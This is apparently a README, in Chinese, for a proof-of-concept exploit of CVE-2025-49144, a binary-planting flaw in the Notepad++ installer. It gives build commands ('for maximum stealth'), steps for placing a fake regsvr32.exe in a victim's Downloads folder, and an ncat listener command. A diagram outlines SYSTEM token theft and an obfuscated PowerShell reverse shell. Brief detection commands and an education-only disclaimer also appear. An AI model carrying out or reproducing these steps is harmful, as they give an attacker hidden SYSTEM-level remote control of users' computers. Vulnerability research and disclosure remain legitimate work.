⚠️ 仅供教育目的
本代码专为教育和研究目的而设计,用于理解二进制植入漏洞。请仅在受控环境且获得适当授权的情况下使用。
此概念验证(PoC)演示了 Notepad++ 安装程序中的二进制植入漏洞(CVE-2025-49144),该漏洞已在 GHSA-9vx8-v79m-6m24 中提及。攻击者可通过在与 Notepad++ 安装程序相同的目录中放置名为 regsvr32.exe 的恶意可执行文件来获得 SYSTEM 级权限。
regsvr32.exe 进行二进制植入该 PoC 由多个协同工作的组件组成:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Install Go (1.24+)
# Install MinGW-w64 for CGO compilation
# Install Git for version control
# Clone the repository
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# Build as executable (masquerading as regsvr32.exe)
# For maximum stealth (strip debug info)
go build -ldflags="-s -w" -o regsvr32.exe
# For development (with debug symbols)
go build -o regsvr32_debug.exe
# 1. Place malicious regsvr32.exe in same directory as Notepad++ installer
# Usually the Downloads folder where users download the installer
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. User downloads official Notepad++ installer to Downloads folder
# 3. When user runs the installer, it searches for regsvr32.exe in current directory first
# 4. Installer finds and executes our malicious regsvr32.exe with SYSTEM privileges
# 5. Listen for incoming reverse shell connection
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEM二进制植入
权限提升
持久化机制
网络编程
CGO 编程
# Monitor for suspicious regsvr32 usage
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# Check for unusual network connections
netstat -ano | findstr ":4445"
# Monitor process creation
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
连接失败
# Check if port is available
netstat -ano | findstr ":4445"
# Verify firewall settings
netsh advfirewall firewall show rule name=all | findstr "4445"
构建错误
# Ensure CGO is enabled
set CGO_ENABLED=1
# Check MinGW installation
gcc --version
# Verify Go installation supports CGO
go env CGO_ENABLED
令牌获取失败
本项目以 MIT 许可证发布,仅供教育目的。详情请参阅 LICENSE 文件。
请记住:此工具仅用于教育和授权测试目的。请始终遵循负责任披露实践,并尊重法律边界。
| 文件 | 用途 | 行数 |
|---|
main.go | 入口点,处理 regsvr32 执行 | ~80 |
winbind.h | 包含函数声明的主头文件 | ~45 |
main.c | 核心反向 Shell 启动器与分离进程创建 | ~75 |
shell.c | 带有混淆 PowerShell 执行的 Shell 处理器 | ~120 |
process.c | 令牌获取与 SYSTEM 进程创建 | ~195 |
socket.c | 带 TCP 保活的网络连接 | ~85 |
threads.c | 套接字与管道之间的 I/O 线程处理 | ~60 |
utils.c | 输入验证与速率限制 | ~35 |
obfuscate.c | PowerShell 路径混淆技术 | ~70 |